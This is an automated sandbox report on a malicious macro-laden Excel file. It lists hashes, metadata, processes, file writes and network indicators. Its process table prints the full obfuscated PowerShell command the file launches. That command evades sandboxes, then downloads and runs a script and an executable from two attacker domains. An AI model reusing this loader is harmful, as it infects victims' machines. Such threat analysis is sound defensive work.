File name: | Scan332772.xlsm |
Full analysis: | https://app.any.run/tasks/b239bd37-a6d6-434f-8d5b-8dc339f219a3 |
Verdict: | Malicious activity |
Analysis date: | July 17, 2019, 14:24:28 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.openxmlformats-officedocument.spreadsheetml.sheet |
File info: | Microsoft Excel 2007+ |
MD5: | DD6463D94F65BA9405F575CA0AC91A13 |
SHA1: | 14D558B13CD255719935E7397BC5722658489343 |
SHA256: | 9793E6D17E04A8475C3ACAD55BA9C51F93F34F7750F8C824C9A7A2F687CFE3CF |
SSDEEP: | 1536:yH0IxkGawC3hskRSSuclIyTPHkDD+WZbUr13trY8VY:yH1WGhIRSSuclIyoDDMr/k8VY |
.xlsm | | | Excel Microsoft Office Open XML Format document (with Macro) (50.8) |
---|---|---|
.xlsx | | | Excel Microsoft Office Open XML Format document (30) |
.zip | | | Open Packaging Conventions container (15.4) |
.zip | | | ZIP compressed archive (3.5) |
ZipRequiredVersion: | 20 |
---|---|
ZipBitFlag: | 0x0006 |
ZipCompression: | Deflated |
ZipModifyDate: | 1980:01:01 00:00:00 |
ZipCRC: | 0x3369e567 |
ZipCompressedSize: | 421 |
ZipUncompressedSize: | 1389 |
ZipFileName: | [Content_Types].xml |
Creator: | Administrator |
---|
LastModifiedBy: | Administrator |
---|---|
CreateDate: | 2019:06:06 07:25:07Z |
ModifyDate: | 2019:06:07 12:45:51Z |
Application: | Microsoft Excel |
DocSecurity: | None |
ScaleCrop: | No |
HeadingPairs: |
|
TitlesOfParts: | Sheet1 |
Company: | - |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
AppVersion: | 16.03 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3864 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
3596 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -c function a($a){ return [char]$a; };$xbadg='';32,59,59,105,102,40,40,40,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,99,108,97,115,115,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,32,45,80,114,111,112,101,114,116,121,32,77,111,100,101,108,41,46,77,111,100,101,108,32,45,109,97,116,99,104,32,34,86,105,114,116,117,97,108,66,111,120,124,86,77,119,97,114,101,124,75,86,77,34,41,32,45,111,114,32,40,40,71,101,116,45,85,73,67,117,108,116,117,114,101,41,46,78,97,109,101,32,45,109,97,116,99,104,32,34,82,79,124,67,78,124,85,65,124,66,89,124,82,85,34,41,41,123,32,101,120,105,116,59,32,125,59,36,120,121,99,105,105,61,32,74,111,105,110,45,80,97,116,104,32,36,101,110,118,58,116,101,109,112,32,34,87,52,48,53,48,53,57,46,106,115,34,59,36,105,120,99,118,61,32,74,111,105,110,45,80,97,116,104,32,36,69,78,86,58,85,115,101,114,80,114,111,102,105,108,101,32,34,77,105,99,114,111,115,54,52,46,101,120,101,34,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,83,116,114,105,110,103,40,34,104,116,116,112,58,47,47,97,112,105,115,46,114,117,115,116,105,99,115,97,110,100,98,111,120,46,99,111,109,47,63,110,101,101,100,61,106,115,105,38,118,105,100,61,101,120,49,38,118,119,115,97,116,34,41,124,111,117,116,45,102,105,108,101,32,36,120,121,99,105,105,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,120,121,99,105,105,59,125,99,97,116,99,104,123,125,59,116,114,121,123,32,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,34,104,116,116,112,58,47,47,107,105,108,111,112,46,103,111,111,100,118,105,98,101,115,107,105,99,107,105,110,46,99,111,109,47,113,117,105,116,63,122,116,119,105,104,34,44,36,105,120,99,118,41,59,32,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,105,120,99,118,59,125,99,97,116,99,104,123,125,59|%{$iddxf=a($_);$xbadg+=$iddxf};iex $xbadg; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | EXCEL.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3864 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRF609.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3596 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\45S09U5S8STBS2DTOIYE.temp | — | |
MD5:— | SHA256:— | |||
3596 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:E4D9C442DD447A8FA05F9CFE88FCBB69 | SHA256:EDD7D7597C6C79A1DFD3229A1FA23433329B1D8399EB558623FFF948D3BB4036 | |||
3596 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFdff02.TMP | binary | |
MD5:E4D9C442DD447A8FA05F9CFE88FCBB69 | SHA256:EDD7D7597C6C79A1DFD3229A1FA23433329B1D8399EB558623FFF948D3BB4036 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3596 | powershell.exe | GET | — | 31.214.157.24:80 | http://apis.rusticsandbox.com/?need=jsi&vid=ex1&vwsat | NL | — | — | unknown |
3596 | powershell.exe | GET | — | 185.212.44.81:80 | http://kilop.goodvibeskickin.com/quit?ztwih | DE | — | — | unknown |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3596 | powershell.exe | 185.212.44.81:80 | kilop.goodvibeskickin.com | 23media GmbH | DE | unknown |
3596 | powershell.exe | 31.214.157.24:80 | apis.rusticsandbox.com | easystores GmbH | NL | unknown |
Domain | IP | Reputation |
---|---|---|
apis.rusticsandbox.com |
| unknown |
kilop.goodvibeskickin.com |
| unknown |
PID | Process | Class | Message |
---|---|---|---|
3596 | powershell.exe | Generic Protocol Command Decode | SURICATA STREAM CLOSEWAIT FIN out of window |